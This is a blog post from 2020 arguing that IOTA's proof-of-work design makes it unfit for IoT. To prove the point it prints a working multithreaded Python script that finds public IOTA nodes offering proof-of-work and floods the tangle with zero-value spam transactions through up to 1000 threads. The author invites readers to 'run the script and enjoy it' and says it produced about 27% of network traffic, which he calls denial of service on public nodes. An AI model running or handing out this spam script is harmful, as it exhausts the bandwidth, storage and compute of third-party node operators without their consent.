IOTA is not for IoT

Valerio Vaccaro
3 min readJan 4, 2020

--

Maybe you remember my first article about IOTA (https://medium.com/@valerio.vaccaro/iota-is-not-for-iot-3fc8b74c506f) after two years nothing changed!

Actual POW is not compatible with IoT solutions, one idea proposed by IOTA is to delegate POW to an external trusted node, this is wrong.

Trusted node

POW is used on IOTA as an anti-DOS measure but:

so if you want to spam the tangle many public nodes will help you! Thanks!

On embedded devices, this approach is very stupid because:

  • you will rely on a single trusted node, then why I need an IOTA transaction to communicate with this node?
  • you can check on n public nodes until information will be published on the tangle , this is not asynchronous and is extremely expensive for device battery,
  • you data will be stored in a hypothetical full node == you will need your full node to have all your transaction after a snapshot,
  • ccurl has no hardware acceleration in many platforms,
  • ternary representation is inefficient for every kind of computer.

How expensive is spamming the tangle?

Zero! Yeah sound sick but you can create more than 2 transactions per second (around 20% of transactions actually) on IOTA without spending a cent.

This is the most interesting thing IOTA allows you to do actually.

I don’t trust you … show me the code.

Ok, but this time I will use python and PyOTA official lib!

Create a virtual env for python3 and install PyOTA (pyota[ccurl] if your platform is lucky)and requests.

virtualenv -p python3 venv3
. venv3/bin/activate
pip install pyota requests

The script will work in the following way:

  • fetch the node list and filter for nodes able to perform POW,
  • create a thread for each node
  • each thread will try to send transaction continuously if fail sleep for 10 seconds

You can check my implementation in the following script.

import requests
import json
import iota
import concurrent.futures
import time
r = requests.get(‘https://api.iota-nodes.net')if (r.status_code == 200):
nodes = r.json()
urls = []
for node in nodes:
if node[‘hasPOW’]==1:
if node[‘isSSL’]:
iotaHost = ‘https://{}:{}’.format(node[‘hostname’], node['port'])
else:
iotaHost = ‘http://{}:{}’.format(node['hostname'], node[‘port’])
urls.append(iotaHost)
def send_message(url):
global ntx
while(True):
api = iota.Iota(url)
result = {}
result[‘url’] = url
try:
pt = iota.ProposedTransaction(
address = iota.Address(b’JGPPQ9VRYGEJBVQS9HZHCVTXVJKPKBMMRFP9HRTTQUKRJRCRLITGSRRYSGEOZYTUEVWMMJKIIYTTJADNAQMDTVZWGX’),
#message = iota.TryteString.from_unicode(json.dumps(mes,sort_keys=True)),
message = ‘IOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAMIOTAISASCAM’,
tag = iota.Tag(b’IOTAISASCAM’),
value = 0
)
res = api.send_transfer(depth=3, transfers=[pt], min_weight_magnitude=14)
result[‘ok’] = True
result[‘transaction’] = res[‘bundle’].as_json_compatible()[0][‘hash_’]
end = time.time()
ntx = ntx + 1
print(‘{} — {} — [{}s #{} = {}tps]’.format(result[‘url’], result[‘transaction’], round(end-start), ntx, ntx/round(end-start)))
except Exception as e:
result[‘ok’] = False
result[‘error’] = ‘Exception {}’.format(e)
print(‘{} — {}’.format(result[‘url’], result[‘error’]))
time.sleep(10)
start = time.time()
ntx = 0
with concurrent.futures.ThreadPoolExecutor(max_workers = 1000) as executor:
commands = {executor.submit(send_message, url): url for url in urls}
for future in concurrent.futures.as_completed(commands):
url = commands[future]
try:
result = future.result()
except Exception as exc:
print(‘%r generated an exception: %s’ % (url, exc))
print(‘end’)

Run the script and enjoy it.

My script running
IOTA statistics

2.7 TPS when the average is 9.67 TPS shows how we can generate 27% of transactions in the IOTA network for free (this means bandwidth consumption, disk space consumption, DOS on public nodes, …).

Do you want to trust this “solution”? Do you think this can be “the backbone of IoT”?

--

--

Valerio Vaccaro

Engineer, Bitcoiner, Data Scientist, IoT Expert and Tech Enthusiast. Co-founder of @scamcoinbot. Dad of @otsproofbot.